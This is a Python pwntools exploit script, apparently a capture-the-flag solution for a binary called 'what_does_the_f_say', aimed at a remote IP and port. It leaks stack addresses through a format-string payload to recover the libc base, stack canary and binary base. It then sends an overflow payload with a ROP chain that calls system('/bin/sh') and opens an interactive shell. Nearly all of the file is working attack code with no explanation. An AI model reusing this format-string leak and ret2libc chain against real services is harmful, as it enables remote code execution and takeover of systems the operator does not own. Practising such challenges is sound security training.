63 lines
2.0 KiB
Python
63 lines
2.0 KiB
Python
from pwn import *
|
|
|
|
def pop_rdi(binary_base, value):
|
|
payload = p64(binary_base + 0x18bb)
|
|
payload += p64(value)
|
|
return payload
|
|
|
|
def scan_money(p, start):
|
|
log.debug(p.clean().decode())
|
|
p.sendline(b"1")
|
|
log.debug("Sending 1")
|
|
log.debug(p.clean().decode())
|
|
log.debug("Sending 2")
|
|
p.sendline(b"2")
|
|
log.debug(p.clean().decode())
|
|
payload = "|".join(["%{}$p".format(i) for i in range(start,start+3)])
|
|
log.debug(f"Sending payload: {payload}")
|
|
p.sendline(payload.encode())
|
|
leak = p.clean().split(b"|")
|
|
log.debug(leak)
|
|
index_message = leak[2].find(b"\n\n")
|
|
if b"You have less than 20 space rocks! Are you sure you want to buy it?" in leak[2][index_message:]:
|
|
p.sendline(b"no.")
|
|
log.debug(p.clean().decode())
|
|
leak[2] = leak[2][:leak[2].find(b"\n\n")]
|
|
|
|
return leak
|
|
|
|
|
|
with remote("167.99.85.216", 31511) as p:
|
|
#with process("./what_does_the_f_say_patched") as p:
|
|
leaks = []
|
|
for i in range(8):
|
|
print(f"\rScanning {i*3}-{i*3+2}", end="")
|
|
leaks += scan_money(p, i * 3)
|
|
|
|
print(leaks)
|
|
leaked_libc_addr = int(leaks[3], 16)
|
|
libc_base = leaked_libc_addr - 0x110191
|
|
canary = int(leaks[13], 16)
|
|
leaked_binary_addr = int(leaks[15], 16)
|
|
binary_base = leaked_binary_addr - 0x174a
|
|
print(f"__GI___libc_read: {hex(leaked_libc_addr)}")
|
|
print(f"libc base: {hex(libc_base)}")
|
|
print(f"canary: {hex(canary)}")
|
|
print(f"leaked_binary_addr: {hex(leaked_binary_addr)}")
|
|
print(f"binary_base: {hex(binary_base)}")
|
|
p.sendline(b"1")
|
|
p.clean()
|
|
p.sendline(b"2")
|
|
p.clean()
|
|
p.sendline(b"1")
|
|
print(p.clean())
|
|
execve_addr = libc_base + 0xe4e90
|
|
puts_libc_addr = libc_base + 0x080a30
|
|
bin_sh_string_addr = libc_base + 0x1b40fa
|
|
system_addr = libc_base + 0x04f4e0
|
|
payload = b"\x90" * 0x18 + p64(canary) + p64(0xdeadbeefdeadbeef) + pop_rdi(binary_base, bin_sh_string_addr) + p64(binary_base + 0x1016) + p64(system_addr)
|
|
log.info(payload)
|
|
log.info(len(payload))
|
|
p.sendline(payload)
|
|
p.interactive()
|